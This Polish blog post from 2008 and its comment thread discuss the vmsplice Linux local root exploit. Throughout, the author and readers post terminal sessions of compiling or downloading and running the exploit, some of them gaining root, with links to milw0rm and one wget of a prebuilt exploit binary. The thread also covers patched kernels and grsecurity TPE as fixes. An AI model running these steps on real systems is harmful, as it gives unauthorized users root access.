Dzisiaj na milw0rmie pojawił się exploit na kernel Linuksa w wersji 2.6.23-2.6.24, jako że sam posiadam posiadałem wersję 2.6.24 postanowiłem sprawdzić działanie kodu.
Kod exploita zapisałem sobie jako plik exploit.c
tbh@PuddleFrog ~/Desktop $ nano exploit.c
kompiluję
tbh@PuddleFrog ~/Desktop $ gcc exploit.c -o exploit.out
i odpalam:
tbh@PuddleFrog ~/Desktop $ chmod +x exploit.out
tbh@PuddleFrog ~/Desktop $ ~/Desktop $ ./exploit.out
———————————–
Linux vmsplice Local Root Exploit
By qaaz
———————————–
[+] addr: 0xc011a5e7
[+] root
PuddleFrog Desktop # whoami
root
PuddleFrog Desktop #
Czyli niefajna sytuacja, nieuprzywilejowany użytkownik uzyskuje prawa roota. Aktualizacja do wersji 2.6.24.1 rozwiązuje ten problem.
Dla osób którym nie chce się kompilować przygotowałem binarkę. (Kod usunięty.)
Nie ma to jak szybkie łatanie kernela na shellowni w niedzielny poranek
Ciekawa sytuacja
Jednak “Pingwin” nie jest idealny ;]
Kernel z grsecurity (i włączonym w nim TPE) i nic nie zdziałasz takim exploitkiem.
Dexter: dali ciała troszkę, aczkolwiek wina leży także po stronie użytkowników/administratorów, użycie TPE jak to wspomniał SlashBeast uniemożliwi uruchamianie binarek z katalogów do których zwykły user ma zapis, więc fakt, nie zadziała.
Slash, spróbujesz zarzucić co konsola wypluwa przy próbie odpalenia tego?
ohh dzieki za informacje, jednakze nie posiadam tega jadra:) na kadu mi lepiej opowiedziales, swietny art i pozdro
slashbeast@jinchuuriki ~ % wget http://tbhthelolmaker.files.wordpress.com/2008/02/exploitout.txt
{…}
slashbeast@jinchuuriki ~ % chmod +x exploitout.txt
slashbeast@jinchuuriki ~ % ./exploitout.txt
zsh: brak dostępu: ./exploitout.txt
slashbeast@jinchuuriki ~ %
Wersja binarna, ponieważ kodu nie moge skompilować z powodu grsec w kernelu.
slashbeast@jinchuuriki ~ % gcc exploit.c -o ssij
exploit.c:147:28: warning: no newline at end of file
/home/slashbeast/tmp/ccbMpRSu.s: Assembler messages:
/home/slashbeast/tmp/ccbMpRSu.s:118: Error: Incorrect register `%rax’ used with `l’ suffix
jurek@speed ~/Desktop $ ./exploitout.txt
———————————–
Linux vmsplice Local Root Exploit
By qaaz
———————————–
[+] addr: 0xffffffff
[-] wtf
jurek@speed ~/Desktop $ whoami
jurek
jurek@speed ~/Desktop $
cóz Jurku, Twoja wersja nie jest podatna
pewnie masz 2.6.22-14 , czyli Debian/Ubuntu ?
jurek@speed ~ $ uname -a
Linux speed 2.6.24-zen1-g49f56e1d-dirty #10 SMP PREEMPT Thu Feb 7 07:51:38 CET 2008 x86_64 AMD Athlon(tm) 64 X2 Dual Core Processor 3800+ AuthenticAMD GNU/Linux
Uff… Na szczęście nie działa
wiktor@server:~$ uname -r
2.6.23.9-grsec
wiktor@server:~$ ./exploit.out
———————————–
Linux vmsplice Local Root Exploit
By qaaz
———————————–
[-] /proc/kallsyms: Permission denied
U mnie na Slackware 12.0 z 2.6.24 działa idealnie
Niestety nie ma jeszcze grsec na 2.6.24.X (10.02.2008)
2.6.22-3-k7 oraz 2.6.22-3-686, oba z debiana i eksploit działa
22:21:38 papio@baboon:/home/tmp$ uname -a
Linux baboon 2.6.24-ARCH #1 SMP PREEMPT Fri Feb 8 21:39:17 UTC 2008 i686 Intel(R) Core(TM)2 Duo CPU T7500 @ 2.20GHz GenuineIntel GNU/Linux
22:21:43 papio@baboon:/home/tmp$ ./a.out
———————————–
Linux vmsplice Local Root Exploit
By qaaz
———————————–
[+] addr: 0xc0120740
[-] wtf
22:21:44 papio@baboon:/home/tmp$ whoami
papio
czyli nie wszystkie 24 sa podatne
dziwne, znajomy własnie na Archu sprawdzał na takim samym kernelu
Działa losowo, czasem tak czasem nie, dodatkowo czasem powoduje Kernel Oops. Tak napisano na bugs kernel.org.
http://www.milw0rm.com/exploits/5092
Ten drugi działa rownież z grsec
wiktor@server:~$ ./exploit2.out
———————————–
Linux vmsplice Local Root Exploit
By qaaz
———————————–
[+] mmap: 0×0 .. 0×1000
[+] page: 0×0
[+] page: 0×20
[+] mmap: 0×4000 .. 0×5000
[+] page: 0×4000
[+] page: 0×4020
[+] mmap: 0×1000 .. 0×2000
[+] page: 0×1000
[+] mmap: 0xb7e06000 .. 0xb7e38000
[+] root
————-
niech ktos sprawdzi na jajku 2.6.24.1
Sprawdzałem, działa.
wiec jednak TPE to najlepsze rozwiązanie
Niezbyt ciekawa informacja.
http://www.milw0rm.com/exploits/5092
Witajcie. Dziś sprawdziłem na Archu. Kernel 2.6.23 był podatny, wszedłem na roota. Zaktualizowałem system, wraz z kernelem (w wersji 2.6.24.1-2 ), i co? Efekt:
[localh0st@asylum Desktop]$ ./exploit.out
———————————–
Linux vmsplice Local Root Exploit
By qaaz
———————————–
[+] addr: 0xc0120740
[-] wtf
[localh0st@asylum Desktop]$ whoami
localh0st
Czyli już po sprawie.
U mnie ów nawet nie drgnął…
http://klipnicki.wordpress.com/2008/02/11/eksplojt/
[code]mafi@arch Desktop]$ ./a.out
———————————–
Linux vmsplice Local Root Exploit
By qaaz
———————————–
[+] mmap: 0×0 .. 0×1000
[+] page: 0×0
[+] page: 0×20
[+] mmap: 0×4000 .. 0×5000
[+] page: 0×4000
[+] page: 0×4020
[+] mmap: 0×1000 .. 0×2000
[+] page: 0×1000
[+] mmap: 0xb7dd3000 .. 0xb7e05000
[-] vmsplice: Bad address
[mafi@arch Desktop]$[/code]
Testowałem na tym: http://www.milw0rm.com/exploits/5092
A kernel mam:
[code][mafi@arch Desktop]$ uname -a
Linux arch 2.6.24-ARCH #1 SMP PREEMPT Sun Feb 10 15:21:33 UTC 2008 i686 Intel(R) Core(TM)2 Duo CPU T7500 @ 2.20GHz GenuineIntel GNU/Linux[/code]
a na http://www.milw0rm.com/exploits/5093:
[code][mafi@arch Desktop]$ gcc cos.c
cos.c:147:28: warning: no newline at end of file
[mafi@arch Desktop]$ ./a.out
-----------------------------------
Linux vmsplice Local Root Exploit
By qaaz
-----------------------------------
[+] addr: 0xc0120740
[-] wtf
[mafi@arch Desktop]$[/code]
@wszyscy którym na 2.6.24 lub innych nie działa.
Błąd z tego co wiem pojawił się już dawno temu (2.6.17) i siedzi w tym całym vmsplice. nie wiem za co dokładnie toto odpowiada, ale można skompilować kernel *bez* tego i dlatego w niektórych nie bangla. Ale dobrze wiedzieć o czymś takim. Szkoda tylko że moja ulubiona maszyna (freeshells.ch) śmiga na NetBSD
[ 191958 7155 0.32 harry@satan ~ ]
$ gcc $_ && ./a.out
exploit.c:147:28: warning: no newline at end of file
———————————–
Linux vmsplice Local Root Exploit
By qaaz
———————————–
[+] addr: 0xc011935e
[+] root
[ 192007 2611 0.30 root@satan ~ ]
# whoami
root
[ 192014 27373 0.25 root@satan ~ ]
# id
uid=0(root) gid=0(root) groups=20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),100(users),108(netdev),113(powerdev),200(fusers)
[ 192015 24329 0.25 root@satan ~ ]
# uname -a
Linux satan 2.6.24-1-686 #1 SMP Wed Feb 6 15:20:27 UTC 2008 i686 GNU/Linux
ups
co niedobre, nie ma jeszcze poprawki, nawet w unstable o,O
Dla Debiana Sid nowy kernel już w http://incoming.debian.org/ ,
czyli za chwile w repozytoriach i już poprawili
W Incoming jest 2.6.24.1 ,a dopiero wydane dzisiaj 2.6.24.2 poprawia ten błąd
to już jest ten 2.6.24.2
A to mój błąd
zwracam honor